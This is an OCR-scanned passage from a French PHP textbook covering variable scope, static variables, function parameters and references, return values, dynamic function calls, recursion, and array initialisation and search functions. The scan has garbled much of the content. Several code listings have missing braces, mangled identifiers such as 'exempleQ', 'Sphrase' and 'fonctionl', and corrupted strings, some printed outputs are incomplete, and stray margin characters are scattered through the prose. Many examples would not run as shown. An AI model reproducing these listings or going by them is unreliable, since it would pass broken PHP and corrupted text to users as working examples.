echo $annee; // affiche 2003 

?> 



Variables d'environnement 

Les variables extemes $_server, $_env, $_get, $_post, $_session, $_cookie, 
REMARQJE $_files, etc. sont, quant a elles, accessibles depuis n'importe oil. II n 'est done pas 
necessaire, dans leurcas, de preciser global pour les utiliser dans une fonction. 
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La portee d'une variable depend done de l'endroit ou elle est initialisee. La portee d'une 
variable ne sera pas la meme si elle est definie dans une fonction ou au debut de votre 
programme. 

On peut considerer trois niveaux de definition. 



Tableau 3.12 : Les differents niveaux de definition des variables 





Niveau 


Description 




Local 


Les variables sont propres a chaque fonction. Des la fin de I'execution de cette 
fonction, la variable est detruite et I'espace memoire qui contenait la valeur est 
liberee. 






e PHP 


Global 


Les variables globales sont definies pour la totalite du temps d'execution du code 
de la page. 


.e langag 


Static 


Les variables statiques sont propres a chaque fonction, mais elles ne sont pas 
detruites a la fin de I'execution de cette fonction. Si la fonction est rappelee 
plusieurs fois, la valeur de la variable est conservee et modifiee a chaque fois. 



CO 

II nous reste done a aborder le cas des variables statiques. Ces variables sont initialisers au 
premier appel de la fonction et ne sont pas reinitialisees les fois suivantes. Pour creer une 
variable statique, il faut utiliser le mot-cle static suivi du nom de la variable. 



Exemple d'utilisation : 
<? 

function maFonction () { 
static $variable = "Emma "; 

$variable . =" C'est ten'?"; 
echo $variable."<br>"; 

} 

maFonction() ; 
maFonction() ; 
maFonction() ; 

?> 

Cela affichera en effet : 

Emma C'est toi? 

Emma C'est toi? C'est toi? 

Emma C'est toi? C'est toi? C'est toi? 



Initialisation d'une variable statique 

II n'est pas possible (['initialiser une variable statique avec le resultat d'une fonction. 
On peut toutefois contourner ce probleme en affectant a cette variable une valeur 
qu 'elle est supposee ne jamais atteindre, et appeler la fonction si jamais la variable 
prend cette valeur. 




REMARQUE 
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<?php 

function maFonction() 

{ 

static $date = -1; 

if ($date == -1) $date = time(); 

} 

?> 



Le passage des parametres 

Vous serez souvent amene a reclamer des parametres pour vos fonctions. Pour cela, il suffit de 
completer la ligne de declaration de la fonction par une liste de noms de variables. Les variables 
ainsi definies ne sont accessibles qu'a l'interieur de la fonction ; ce sont done des variables de 
visibilite locale. 

<?php 

function bi centenai re($quoi ) 
{ 

echo "2002 e'etait le $quoi de Victor Hugo !"; 

} 

bicentenaire("bicentenaire de la naissance "); 

// Affiche "2002 e'etait le bicentenaire de la naissance de Victor Hugo !" 
echo $quoi ; // n'affiche rien, la variable n'est pas definie. 

?> 



Les parametres par defaut 

Vous pouvez donner a votre fonction des parametres par defaut. Ainsi, si vous ne rentrez 
aucune valeur lors de l'appel de cette fonction dans votre code, une valeur par defaut est 
utilisee afin d'executer la fonction. 

Pour placer une valeur par defaut, vous devez simplement specifier cette valeur a l'aide du signe 
"=" lors de la declaration de la fonction. Comme ceci : 

<?php 

function exempl e($parDefaut="bonjour") 

{ 

return $parDefaut; 

} 

?> 

Cette fonction peut done recevoir ou non une valeur comme parametre. Si ce n'est pas le cas, 
alors celle-ci prend, par defaut, la valeur "bonjour" . II y a done deux facons d'appeler cette 
fonction dans le programme principal. 

<?php 

function exempl e($pardefaut= "bonjour") 

{ 

return $pardefaut; 
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// soit en plagant une valeur en parametre 
echo exemple("bye bye"); // affiche "bye bye" 
// soit en laissant vide 
echo exempleQ; // affiche "bonjour" 

?> 

Le fait que les fonctions necessitent a priori un nombre fixe d'arguments vous posera peut-etre 
un jour un probleme. Mais il y a deux facpns d'y faire face: 

En utilisant un tableau, si votre fonction n'accepte qu'un seul argument mais que celui-ci 
est de type tableau, vous pouvez y mettre autant d'arguments que vous voulez. 

En utilisant les fonctions mises a disposition par PHP (ce qui en fait s'apparente a utiliser 
un tableau cree par PHP). 

Ainsi, alors que f unc_num_args ( ) renvoie le nombre d'elements passes en parametre d'une 
fonction, f unc_get_arg ( ) et f unc_get_args ( ) permettent de recuperer un argument ou un 
tableau d'arguments. 



func_num_args() 

Retourne le nombre d'arguments passes a une fonction. 
Syntaxe int func_num_args(void) 

retour Retourne un nombre correspondant aux nombres d'elements passes 

comme arguments de la fonction. 

<?php 

function el ementsVari abl es () 

{ 

return func_num_args () ; 

} 

echo el ementsVari abl es () ; // Affiche 0; 

echo elementsVariables(l, 2, 3); // Affiche 3; 

echo elementsVariables("toto", 5, TRUE); // Affiche 3; 

?> 



func_get_arg() 

Retourne la valeur d'un des elements passes en argument de la fonction. 

Syntaxe mixed func_get_arg(int $numArg) 

$numArg Position de l'element a consulter. 

retour La valeur de l'argument. 
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func_get_args() 

Retourne un tableau contenant tous les elements passes en argument a la fonction. 
Syntaxe array func_get_args (voi d) 

retour Tableau indexe contenant la liste des arguments de la fonction. 

Voici un exemple de l'utilisation qui peut etre faite des trois fonctions precedemment decrites : 
<?php 

function elementsVariables() 

{ 

// Compte le nombre a" elements 

$nombreEl ements = func_num_args () ; 

// Recupere tous les elements dans un tableau 

$tabl eauEl ements = func_get_args () ; 

for ($i=0; $i<$nombreEl ements; $i++) 
{ 

// Affiche tous les arguments de la fonction 

echo "element $i : M .$tableauElements[$i] ."<br />"; 

} 

// Recupere 1 'element designe par le deuxieme argument 

echo "1 'argument n°" .func_get_arg(l) . 

" = " .func_get_arg (func_get_arg(l) ) . "<br />"; 

} 

el ementsVari abl es (10, 0, 3); 
echo "<br />"; 

elementsVariables("toto", 3, TRUE, "PHP") ; 

?> 

L'execution de ce programme renvoie done ici : 

element : 10 
element 1 : 
element 2 : 3 
1 'argument n°0 = 10 

element : toto 
element 1 : 3 
element 2 : 1 
element 3 : PHP 
1 'argument n°3 = PHP 



Chapitre 3 Le langage PHP 



Le passage de parametres par reference 

Lorsque Ton passe une variable en parametre a une fonction, la variable transmise n'a qu'une 
portee locale, et la variable manipulee au sein de la fonction n'est en fait qu'une copie de la 
variable transmise par le programme appelant. Ainsi, l'execution de la fonction n'entraine 
aucune modification sur la variable transmise. 

Lorsque Ton souhaite que la fonction modifie la valeur de la variable passee en parametre, 
celle-ci doit etre passee non pas par valeur mais par reference. Lorsqu'une variable est passee 
en reference, la nouvelle variable locale ainsi creee pointe sur la meme zone memoire, mais 
avec un autre nom que le parametre. Ainsi, on a un alias de la variable qui se cree dans la 
fonction, et toutes les modifications qui lui seront apportees seront repercutees sur 1'original. 

Ce n'est toutefois pas l'appelant qui decide si la variable doit etre passee par valeur ou par 
reference, mais la fonction. Ainsi, pour utiliser une reference, il suffit simplement de signaler le 
parametre de la fonction avec un "&" devant le nom de la variable. 

<? 

$phrase = "Ceci est temporai re" ; 

function citation(&$reference, $nom, $prenom) 

{ 

$reference = $nom." ".$prenom. 

" a ecn't : Les ecrivains ont mis la langue en liberte." 

} 

citation($phrase, "Victor", "Hugo"); 
echo $phrase; 

// affiche "Victor Hugo a ecrit : Les ecrivains ont mis la langue en liberte." 

?> 

Dans l'exemple precedent, nous pouvons constater que les modifications apportees a la 
variable locale {reference se repercutent sur la variable globale Sphrase. 

Utilisation des parametres de type objet 

Comme nous le verrons dans le chapitre sur la programmation orientee objet, 
contrairement au comportement d'autres langages de programmation, dans les 
versions de PHP inferieure a la version 5 (incluant le moteur Zend2), les objets ne 
sont pas automatiquement passes par reference. Pour ne pas travailler sur une copie 
de I'objet il est done, la aussi, necessaire d'utiliser le "et commercial" '&'. 



PHP 5 

Avec PHP 5, il est desormais possible de specifier une valeur par defaut la oil Von 
attend un argument passe par reference. 

function maFonction(&$param = "val eurParDefaut") 

Alors que, vous Vaurez devine, ce n'etait pas possible auparavant. 



A 

ATTENTION 




REMARQUE 



Les fonctions 



Retourner une valeur 

Vous serez sans doute amene a vouloir recuperer le contenu d'une variable a la suite du 
traitement d'une fonction. Pour effectuer le renvoi d'une variable et ainsi terminer l'execution 
de la fonction, le langage PHP utilise le mot-cle return. Lorsque cette instruction est 
rencontree, la fonction evalue la valeur de la variable qui suit et la renvoie dans le programme 
principal. 

Exemple d'utilisation : 

return $valRetour; 

return 0; 

return "Laurent"; 

Ce qui donne dans le cas d'une utilisation : 
<?php 

function fonctionRetour() 

{ 

return "guitare"; 

} 

echo fonctionRetour() ; // affiche "guitare" 

?> 

S'il est possible de placer plusieurs instructions return a l'interieur d'une fonction, le premier 
return execute met un terme a l'execution de la fonction. 

<?php 

function associ ationNom($varATester) 

{ 

if ($varATester=="Laurent") { 

return "GUEDON" ; 
} elseif ($varATester =="Damien" || $varATester == "Thomas") { 

return "HEUTE"; 
} elseif ($varATester == "Pierre- Emmanuel ") { 

return "MULLER" ; 
} else { 

return "Qui ???"; 




?> 



L'instruction return ne permet de renvoyer qu'une seule valeur. Si vous souhaitez retourner 
plusieurs valeurs, deux possibilites s'offrent a vous : 

■ Retourner un tableau de valeurs ou un objet avec plusieurs attributs. 

Utiliser plusieurs parametres passes par reference (qui serviront done plus de valeur retour 
que de valeur d'entree) ; eventuellement, la fonction pourra egalement retourner une 
valeur via return. 

II n'est pas vraiment possible de dire a priori quelle est la bonne methode. C'est un peu au cas 
par cas. La premiere oblige ensuite a analyser le contenu d'un tableau (et l'utilisation d'un objet 
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ne se justifie pas toujours). La seconde methode n'est pas totalement satisfaisante, puisque Ton 
melange parametres d'entree et parametres de sortie ; a contrario, elle permet de reserver la 
valeur retour pour un booleen indiquant si l'operation s'est bien passee ou non. 

Voici un exemple utilisant un tableau montrant comment sortir de ce probleme, que vous 
rencontrerez sans doute dans votre carriere de developpeur. 

<?php 

function discotheque($choix) 

{ 

switch ($choix) { 
case 1 : 

$artiste = "Placebo"; 

$titre = "Where is my mind"; 

break; 
case 2 : 

$artiste = "Emi liana Torrini"; 

$titre = "To be free"; 
defaut : 

$artiste = "Radiohead"; 

$titre = "Creep"; 

} 

return array ($arti ste, $titre); 



$disque = discotheque(3) ; 

echo "Artiste ".$disque[0] ."\n"; 
echo "Titre ".$disque[l] ."\n"; 

?> 



Ici, la fonction retourne un tableau de valeurs. II est done ensuite possible de traiter le tableau 
et de sortir les differentes donnees, comme si la fonction nous avait renvoye plusieurs variables. 
Le resultat du petit programme ci-dessus nous donne done : 

Artiste Radiohead 
Titre Creep 



Manipuler des fonctions 

Une serie de commandes permet de creer a la volee, de tester l'existence des fonctions et de les 
manipuler. L'une d'elle permet de creer des fonctions dites anonymes. 



create_function() 



Permet de creer une fonction anonyme a partir de parametres. 
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Syntaxe string create_functi on (string $arguments .string $code ) 

$arguments Liste des parametres de la fonction separes par une virgule. 

$code Le code de la fonction. 

retour Nom attribue a la fonction (en s'assurant de son unicite). 

<?php 

$fonction = create_function('$a,$b' , 'return $a + $b;'); 

echo "Nom de la nouvelle fonction : $fonction<br />"; 

echo "10 + 5 = ".$fonction(10, 5); 

// "Nom de la nouvelle fonction : lambda_l" 

// "10 + 5 = 15" 

?> 



retourne 

Nom de la nouvelle fonction: lambda_l 

10 + 5 = 15 

Notez que vous pouvez utiliser des guillemets (a la place des apostrophes) dans la definition des 
arguments et du code de la fonction, a condition de ne pas oublier d'echapper le caractere $ 
precedant les noms de variables comme ceci : 

$fonction = create_function("\$a,\$b", "return \$a + \$b;"); 

11 est egalement possible de verifier si une fonction existe ou non. Ceci permet notamment de 
verifier si 1'environnement (version de PHP, options de configuration) dans lequel tourne le 
script permet la realisation de l'operation prevue. Ceci peut egalement permettre de creer une 
fonction emulant une fonction existant dans les dernieres versions de PHP, uniquement si 
celle-ci n'est pas disponible dans la version utilisee (afin que le script puisse fonctionner sur 
d'anciennes versions). 



function_exists() 

Permet de verifier si une fonction existe bien. 

Syntaxe boolean function_exists (function $nomFonction) 

$nomFonction Nom de la fonction a verifier. 

retour Retourne TRUE si la fonction a ete trouvee, FALSE sinon. 

<?php 

if (function_exists("uneFonctionDontJAiBesoin")) { 

echo "Chouette je peux utiliser la fonction<br />"; 
uneFonctionDontJAiBesoin() ; 

} else { 

echo "fa fonction n 1 existe pas tant pis pour vous<br />"; 

} 
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if (function_exists("function_exists")) { 

echo "Par contre la fonction function_exists() existe<br />"; 
} else { 

echo "Curieux<br />"; 

} 

retournera 

La fonction n'existe pas tant pis pour vous 
Par contre la fonction function_exists() existe 

On peut aussi simplement lister toutes les fonctions definies a l'aide de la fonction 

get_defined_f unctions ( ) . 



get_defined_functions () 

Liste toutes les fonctions definies. 

Syntaxe array get_defined_functions(void) 

retour Tableau associatif contenant les cles. 

"internal" ayant pour valeur un tableau indexe contenant les noms des 
fonctions PHP "natives". 

"user" ayant pour valeur un tableau indexe contenant les noms des 
fonctions definies par l'utilisateur. 

<?php 

function fonctionl($a, $b) 
return ($a + $b) ; 



function fonction2($a) 
return $a; 



function fonction3($a, $b) 
return ($a + $b) ; 



function fonction4($a, $b, $c) 
return ($a + $b + $c) ; 



function fonction5($a, $b, $c, $d) 
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return ($a + $b + $c + $d) ; 

} 

$tableauFonction = get_defined_functions() ; 
print_r($tableauFonction) ; 

?> 

Cela affiche toutes les fonctions sous la forme d'un tableau de tableaux. 

Array 
( 

[internal] => Array 
( 

[0] => zend_version 

[1] => func_num_args 

[2] => func_get_arg 



[1161] => apache_note 
[1162] => apache_lookup_uri 
[1163] => apache_child_terminate 

) 

[user] => Array 
( 

[0] => fonctionl 
[1] => fonction2 
[2] => fonction3 
[3] => fonction4 
[4] => fonction5 

) 

) 

Listons simplement les fonctions utilisateurs. 
<?php 

whi 1 e (1 i st ($key, $val)=each($tableauFonction["user"])) 

{ 

echo "$key => $val<br />"; 

} 

?> 

Le resultat cette fois est simplement : 

=> fonctionl 

1 => fonction2 

2 => fonction3 

3 => fonction4 

4 => fonction5 

Les fonctions utilisateurs peuvent aussi etre appelees a l'aide des commandes 
caii_user_f unc_array ( ) ou cali_user_f unc ( ) . Ces commandes sont tres utiles lorsqu'un 
programme doit faire appel a differentes fonctions dynamiquement. 
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call_userjunc() 

Appelle une fonction utilisateur en lui transmettant des parametres. 

Syntaxe mixed cal l_user_func (string $nomFonction [, mixed $parametre 

[, mixed ...]]) 

$nomFonction Nom de la fonction a appeler. 

$parametre Liste des parametres (a transmettre dans le meme ordre que sa 

declaration). 

retour Renvoie le code retour de la fonction appelee. 



call_user_func_array() 



Appelle une fonction utilisateur en lui transmettant des parametres rassembles sous la forme 
d'un tableau. 

Syntaxe mixed cal l_user_func_array (stri ng $nomFoncti on [, array 

$parametre] ) 

$nomFonction Nom de la fonction a appeler. 

$parametre Liste des parametres (a transmettre sous la forme d'un tableau), 

retour Renvoie le code retour de la fonction appelee. 

<?php 

function nombreCaractere($phrase) { 
return strlen ($phrase); 

} 

echo "phrase 1 = ".call_user_func('nombreCaractere' , 

1 1 ch bin ein Berliner! - JF Kennedy (1963) '). " caracteres<br />"; 

echo "phrase 2 = ".call_user_func('nombreCaractere' , 

'13 Janvier 1898, Zola publia J'accuse')." caracteres<br />"; 

?> 



Le resultat de ce programme affiche ici : 



phrase 1 
phrase 2 



40 caracteres 
38 caracteres 



<?php 

function fonctionl($a, $b) 

function fonction2($a, $b) 

function fonction3($a, $b) 

function fonction4($a, $b) 



return $a+$b 

return $a-$b 

return $a*$b 

return $a/$b 



$tableau = array(10,5); 
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for ($i=l;$i<=4;$i++) 

{ 

echo "$i => " .cal l_user_func_array ( 1 fonction 1 .$i , $tabl eau) . "<br />"; 

} 

?> 

1 => 15 

2 => 5 

3 => 50 

4 => 2 



La recursivite des fonctions 

Une fonction est dite recursive si elle s'appelle elle-meme. Cette utilisation particuliere des 
fonctions est rare (ce qui, entre nous, n'est pas forcement un defaut, car elle est tres gourmande 
en memoire.). Et pourtant, si elle n'est pas indispensable, elle peut-etre tres pratique lorsqu'il 
faut traiter certains problemes comme le parcours d'une arborescence. 

Un exemple de fonction recursive est celui de la fonction donnant le factoriel d'un nombre. 
<?php 

function factoriel le($nombre) 

{ 

if ($nombre==0) 

{ 

return "l"."<br />"; 
}else{ 

return $nombre*factoriel 1 e($nombre-l) . "<br />"; 

} 

} 

echo factorielle (3); // 3! = 1x2x3 = 6 
echo factorielle (3); // 3! = 1x2x3 = 6 

?> 



A Juste un exemple. ..dece qu 'il ne faut pas faire 
Si cette methode est la plus simple pour montrer ce qu 'est une fonction factorielle, 
ATTENTION c est oussi la plus mauvaise methode pour implementer factoriel. 

De plus, les fonctions recursives sont tres delicates a manipuler. II est tres important 
de verifier que votre fonction se termine bien a un moment donne pour eviter des 
problemes de boucles infinies. 

Un des exemples de fonctions recursives les plus repandus est la resolution du probleme de la 
tour de Hanoi. La tour de Hanoi se presente comme un casse-tete. Plusieurs disques sont 
empiles sur une tige, du plus large au plus petit. Deux autres tiges se trouvent a cote et le but est 
de deplacer les disques pour les superposer sur la tige centrale dans le meme ordre, c'est-a-dire 
du plus grand au plus petit. 



Chapitre 3 Le langage PHP 




Figure 3.9 : 

La tour de Hanoi 



<html> 
<body> 
<?php 

function deplaceDisque($disque, $tigel, $tige2) 

{ 

echo "Deplacer le disque ".$disque." sur la tige " .$tige2. "<br />" 



function hanoi ($di sque, $tigel, $tige2) 
{ 

if ($disque == 1) // si le disque a deplacer est le premier 
{ 

// on ne fait qu'un displacement 
depl aceDi sque (1, $ti gel , $tige2); 
}else{ 

// sinon il faut deplacer $disque-l 
// sur la tige differente de $tigel et $tige2 
hanoi ($disque-l, $ti gel , 3-$tigel-$tige2) ; 
depl aceDi sque ($disque, $ti gel , $tige2); 

// et on redeplace les ($disque-l) disques sur le disque depl ace 
hanoi ($disque-l, 3-$tigel-$tige2, $tige2); 

} 

} 



hanoi (4, 0, 1); // 4 disques utilises 

?> 

</body> 
</html> 



3.8. Les tableaux 

En PHP, il est possible de distinguer trois types de tableaux. 

Les tableaux indexes ou chaque element du tableau porte un numero (ce qui correspond a 
la representation habituelle d'un tableau dans les autres langages de programmation). Par 
defaut, la numerotation commence avec l'indice 0. 

Les tableaux associatifs ou chaque element du tableau est associe a une cle representee par 
une chaine de caracteres (ce qui correspond a peu de choses pres a une table de hash dans 
les autres langages de programmation). 
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Les tableaux mixtes ou chaque element du tableau est associe aussi bien a un indice qu'a 
une cle. 

Cette distinction entre les tableaux est surtout "conceptuelle". En effet, leur mode de 
fonctionnement est totalement identique. 

Index et ordre dans le tableau 

Les index doivent etre percus simplement comme des cles de type entier. La valeur 
d'un index ne prejuge pas de la position d'un element dans le tableau. Un element 
peut avoir un index egal a et se trouver en fin de tableau. 
Un tableau est juste un ensemble (ordonne) de couple (cle, valeur). 



Les valeurs d'un tableau 

Les valeurs contenues dans un tableau peuvent etre de tout type connu. Ainsi, un tableau peut 
stocker des entiers, des reels, des chaines de caracteres, des tableaux, des objets, etc. 

De plus, les types des valeurs contenues dans un tableau peuvent varier d'un indice (ou d'une 
cle) a l'autre. Le second element d'un tableau pourra contenir une chaine de caracteres, meme 
si le premier element contient un objet. 



Initialisation d'un tableau 

La syntaxe de base de l'initialisation d'un tableau est la suivante : 
$monTableau = array(); 

Mais, a part pour forcer le type d'une variable au type tableau, il est bien rare que nous 
utilisions cette forme epuree. 

L'initialisation du tableau se fait generalement en meme temps que son remplissage. 

Ainsi, dans le cas "classique" d'un tableau indexe, on pourra par exemple preciser les valeurs 
associees aux trois premiers index par : 

$monTableau = array(23, "PHP", 12.4); 

Ce qui donnera alors : 

SmonTableaufO] = 23; 
$monTableau[l] = "PHP"; 
$monTableau[2] = "12.4"; 

Dans le cas d'un tableau associatif, il faudra preciser la cle et la valeur selon le schema suivant : 
$tableauAge = array ("Pierre" => 22, "Thierry" => 29, "Jean" => 34); 




REMARQUE 
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Pour obtenir : 

$tableauAge[" Pierre"] = 22; 
$tableauAge ["Thierry"] = 29; 
$tableauAge["Jean"] = 34; 



Et pour un tableau mixte il est possible de preciser : 

SmonTableau = array("Thierry" , 29, "Prenom" => "Thierry", "Age" => 29); 

Ce qui donnerait : 

$monTabl eau [0] = "Thierry"; 
Q- SmonTabl eau [1] = 29; 

£ SmonTabl eau ["Prenom"] = "Thierry"; 

g, SmonTabl eau ["Age"] = 29; 

CO 
Bl 

c 
_eo 

aj ni^C ^ as ^'utilisation des tableaux mixte s 

•n@f r j^ es i a jji eaux mixtes sont utilises en particulier pour la lecture des enregistrements 
REHARQJE d'une base de donnees. Ainsi, I'utilisateur peut faire appela la valeur d'un champ soil 
a partir de son index soit a partir du nom du champ. 



Les subtilites (('initialisation d'un tableau 

Meme dans le cas d'un tableau indexe, il est possible de preciser pour quel indice vous etes en 
train de definir la valeur (a la maniere des tableaux associatifs). 

SmonTabl eau = array (1 => "Valeurl", 3 => "Valeur3"); 

donnera les valeurs suivantes : 

SmonTabl eau [1] = "Valeurl"; 
SmonTabl eau [3] = "Valeur3"; 

$monTableau [ ] et $monTableau [ 2 ] , quant a eux, n'auront pas de valeur affectee. 



Ordre d'affectation 

II n'est pas necessaire de preciser les valeurs dans I'ordre des indices. Ainsi 
SmonTableau = array(3 => "Valeur3", 1 => "Valeurl"); 

est tout a fait valide. 

La encore, il est possible, lors de l'initialisation d'un tableau, de melanger cette notation avec 
celle d'un tableau associatif, et meme avec la notation "traditionnelle" d'un tableau indexe. 
Dans ce dernier cas, les valeurs pour lesquelles on ne precise pas les index auront 
necessairement pour index le dernier index affecte + 1 (ou par defaut 0). 

SmonTabl eau = array ("Val eurO" , 2 => "Valeur2", "Valeur3"); 



REMARQUE 
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donnera : 

$monTableau[0] = "ValeurO"; 

$monTableau[2] = "Valeur2"; 

$monTableau[3] = "Valeur3"; 



1 j Commencer un tableau a Vindice 1 

Cette propriete est bien pratique pour commencer un tableau avec Vindice 1. 

ASTUCE 

$monTableau(l => "Valeurl", "Valeur2", "Valeur3"); 

Dans le cas d'un tableau indexe ou associatif, si, dans la chaine d'initialisation, plusieurs valeurs 
sont affectees a un meme indice ou a une meme cle, la valeur conservee sera toujours la 
derniere rencontree. 

Ainsi, 

$monTableau = array("Valeur qui va se faire ecraser", 
=> "Oups... j'ecrase"); 

donnera : 

$monTableau[0] = "Oups... j'ecrase"; 
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Remplissage d'un tableau 

D'une maniere tout a fait classique, le remplissage (ou l'affectation des valeurs) d'un tableau se 
fait par un appel du type : 

$monTableau[0] = "Valeur"; 

ou 

$monTableau["cle"] = "Valeur"; 

Mais une des particularites du langage PHP est que la taille des tableaux n'est pas fixe. Elle peut 
done etre augmentee au fil des besoins. Ainsi, pour un tableau indexe qui a ete initialise avec 
trois elements, il est possible d'affecter une valeur a l'element d'indice 10, comme le montre 
l'exemple suivant : 

<?php 

$monTableau = array("valeurl, "valeur2", "valeur3"); 
$monTableau[10] = "valeurlO", 

?> 

De meme, pour un tableau associatif, il est toujours possible d'ajouter un element avec une 
nouvelle cle. 

Cela est particulierement utile pour composer une liste d'elements. De plus, pour simplifier la 
tache, le langage PHP nous permet de ne pas preciser d'indice ou de cle lors d'une affectation, 
ceci afin d'utiliser pour indice le dernier indice affecte + 1. 
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$monTableau[] = "Valeur d'indice 0"; 
$monTableau[] = "Valeur d'indice 1"; 

sera alors equivalent a : 

$monTableau[0] = "Valeur d'indice 0"; 
$monTableau[l] = "Valeur d'indice 1"; 



Les fonctions de manipulation des tableaux 

II existe de nombreuses fonctions liees au traitement des tableaux. Certaines sont destinees au 
parcours du tableau, d'autres a la fusion de tableaux, d'autres encore au tri des valeurs ou des 
cles, etc. 

Vous decouvrirez egalement dans le chapitre dedie a la programmation orientee objet "Les 
classes, les objets" qu'il existe egalement des objets permettant la manipulation de tableaux. 

Fonctions de base 



is_array() 

Indique si une variable est de type tableau. 

Syntaxe boolean is_array (mixed $variable) 

$ v a r i a b 1 e Variable a tester. 

retour TRUE si la variable est de type tableau, FALSE sinon. 



count 

Retourne le nombre d'elements contenus dans un tableau. 
Syntaxe int count (array $tableau) 

$tabl eau Le tableau dont on veut compter le nombre d'elements. 

retour Le nombre d'elements du tableau. Si toutefois le parametre fourni ne 

correspond pas a un tableau mais a une variable existante, alors la valeur 
retournee est 1. S'il s'agit d'une variable qui n'existe pas, la fonction 
retourne 0. 

S'il s'agit d'un tableau indexe avec des valeurs pour chaque index a partir de 0, alors on pourra 
afficher son contenu grace au code suivant : 

<?php 

$monTabl eau = array ("PHP", "C'est", "vraiment", "sympa"); 

for ($i=0; $i<count($monTableau) ; $i++) echo $monTableau[$i] . "<br />"; 

?> 
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1 La fonction print _r() 

© La fonction prin t_r ( ) est egalement une instruction fort pratique pour visualiser le 
AS*CE contenu d'un tableau (principalement a titre de debogage). 



sizeof() 

Est l'equivalent de count ( ) (meme syntaxe, meme comportement). 



array_values() 

Retourne un tableau indexe contenant les valeurs des elements d'un tableau donne (ce qui peut 
permettre de reindexer un tableau ou de convertir un tableau associatif en tableau indexe). 

Syntaxe array array_val ues (array $tableau) 

$tableau Tableau de reference. 

retour Tableau indexe des valeurs trouvees dans $tableau. 

Voir aussi array_keys ( ) , qui peut etre utilise pour faire des recherches dans un tableau. 



array_unique() 

Retourne un tableau dans lequel aucune valeur n'apparait plusieurs fois (associees a 
differentes cles). 

Syntaxe array array_uni que(array $tableau) 

$tableau Tableau de reference. 

retour Tableau dans lequel chaque valeur n'apparait qu'une seule fois. C'est 

toujours la derniere cle associee a une valeur donnee qui est conservee. 



array_flip() 

Intervertit les roles des cles (ou index) et des valeurs d'un tableau. Cette fonction n'est 
applicable que si les valeurs peuvent devenir des cles ou, autrement dit, si les valeurs sont des 
chaines de caracteres ou des entiers. 
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Si le tableau possede plusieurs valeurs identiques, seule la derniere paire (cle, valeur) sera 
consideree. 

Syntaxe array array_fl ip (array $tableau) 

$tabl eau Tableau pour lequel cles et valeurs doivent etre permutees. 

retour Tableau pour lequel les cles et les valeurs ont ete permutees, ou FALSE en 

cas d'echec. 



array_rand() 

Retourne un index (ou une cle) ou un tableau d'index (ou de cles) distincts pris 
pseudo-aleatoirement dans un tableau. 

Syntaxe mixed array_rand (array $tabl eau, [i nt $nbCl es] ) 

$tabl eau Tableau sur lequel s'effectue la recherche. 

$nbCl es Nombre de cles ou index a retourner (par defaut le nombre de cles est fixe 

hi). 

retour Un index (ou une cle) ou un tableau d'index (ou de cles) distincts pris 

pseudo-aleatoirement dans le tableau. 

Pseudo-aleatoire 

Comme pour toutes lesfonctions pseudo-aleatoires, il est fortement conseille defaire 
au prealable un appel a lafonction srand ( ) pour "taper" un peu n'importe ou dans 
la pile des nombres pseudo-aleatoires. 




REMARQUE 



RENVOI 



Vous pouvez vous reporter au chapitre "Les fonctions mathematiques" pour plus de 
details sur les nombres pseudo-aleatoires et la fonction srand ( ) . 



Fonctions de recherche dans les tableaux 



array_keys() 

Retourne un tableau indexe contenant les cles et index utilises dans un tableau donne ou, 
eventuellement, les cles et index associes a une valeur donnee. 

Syntaxe array array_keys (array $tableau [, mixed $valeur]) 

$tableau Tableau de reference. 
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$ v a 1 e u r Argument optionnel precisant a quelle valeur doivent etre associes les cles 

et index retournes. Par defaut, ce sont tous les index et cles du tableau qui 
sont retournes. 

retour Tableau des cles et index trouves ou un tableau vide si la valeur n'est pas 

trouvee. 



Listing 3.11 : array_array_keys.php 

<?php 

$sportifs = array("Z. Zidane" => "Foot", "C. Moreau" => "Cyclisme", 
"T. Henry" => "Foot", "M. Indurain" => "Cyclisme", 
"J. Durand" => "Cyclisme", "T. Marie" => "Cyclisme"); 

$cyclistes = array_keys ($sporti fs , "Cyclisme"); 

echo "Voici une liste de cyclistes <br />"; 
for ($i=0; $i<count($cyclistes) ; $i++) { 
echo $cyclistes[$i] ."<br />"; 

} 

?> 

retournera bien les noms associes au cyclisme. 

Voici une liste de cyclistes 
C. Moreau 
M. Indurain 
J. Durand 
T. Marie 



array_search() 

Retourne la premiere cle (ou index) du tableau, associee a une valeur donnee. 

Syntaxe mixed array_search (mixed $valeur, array $tableau [.boolean 

$stri ct] ) 

$valeur Valeur recherchee. 

$tabl eau Tableau sur lequel se porte la recherche. 

$stri ct Argument optionnel a positionner a TRUE si Ton veut que la comparaison 

tienne egalement compte du type de la valeur cherchee. FALSE, par 
defaut. 

retour Cle (ou index) trouvee, FALSE sinon. 
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array_key_exists() 

Indique si un tableau contient ou non une cle donnee. 

Syntaxe boolean array_key_exi sts (mixed $cle, array $tableau) 

$cle Cle recherchee. 

$tabl eau Tableau sur lequel se porte la recherche, 

retour TRUE si l'index existe, FALSE sinon. 



in_array() 

Indique si un tableau contient ou non une valeur donnee. 

Syntaxe boolean in_array (mixed $valeur, array $tableau [, boolean 

$stri ct] ) 

$val eur Valeur recherchee. 

$tabl eau Tableau sur lequel se porte la recherche. 

$ s t r i c t Argument optionnel a positionner a TRUE si Ton veut que la comparaison 

tienne egalement compte du type de la valeur cherchee. FALSE, par 
defaut. 

retour TRUE si la valeur a ete trouvee dans $tableau. FALSE sinon. 

Fonctions de manipulation de portions de tableau 



range () 



Retourne un tableau compose des entiers compris entre une valeur de debut et une valeur de fin. 

Syntaxe array range(int $debut, int $fin) 

$debut Premier entier du tableau. 

$f i n Dernier entier du tableau (doit necessairement etre superieur ou egal a 

$debut). 

retour Tableau compose des entiers compris entre la valeur de debut (incluse) et 

la valeur de fin (inclus) ou bien un tableau vide en cas d'echec. 
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array_fill() 

Retourne un tableau indexe construit a partir de la repetition d'une valeur. 



Syntaxe array array_f i 1 1 (i nt $indexDebut, int $nombre, mixed $valeur) 

$i ndexDebut Premier index du tableau. 

$ n omb r e Nombre d'elements dans le tableau. 

$val eur Valeur a donner a chaque element du tableau. 

retour Tableau indexe de $indexDebut a $indexDebut+$nombre-l ne 

contenant que la valeur $ valeur. 



array_pad() 



Retourne un tableau complete (a droite ou a gauche) avec une valeur donnee pour atteindre un 
nombre total d'elements specifies. 

Syntaxe array array_pad (array $tableau, int $taille, mixed $valeur) 

$tableau Tableau de reference. 

$taille Taille (en valeur absolue) souhaitee pour le tableau resultat. Si vous 

souhaitez completer le tableau a gauche, indiquez alors la valeur en 
negatif. 

$val eur Valeur a utiliser pour completer le tableau. 

re tou r Retourne le tableau specifie, complete par la valeur pour atteindre la taille 

demandee. Si celle-ci (en valeur absolue) est inferieure a la taille initiale 
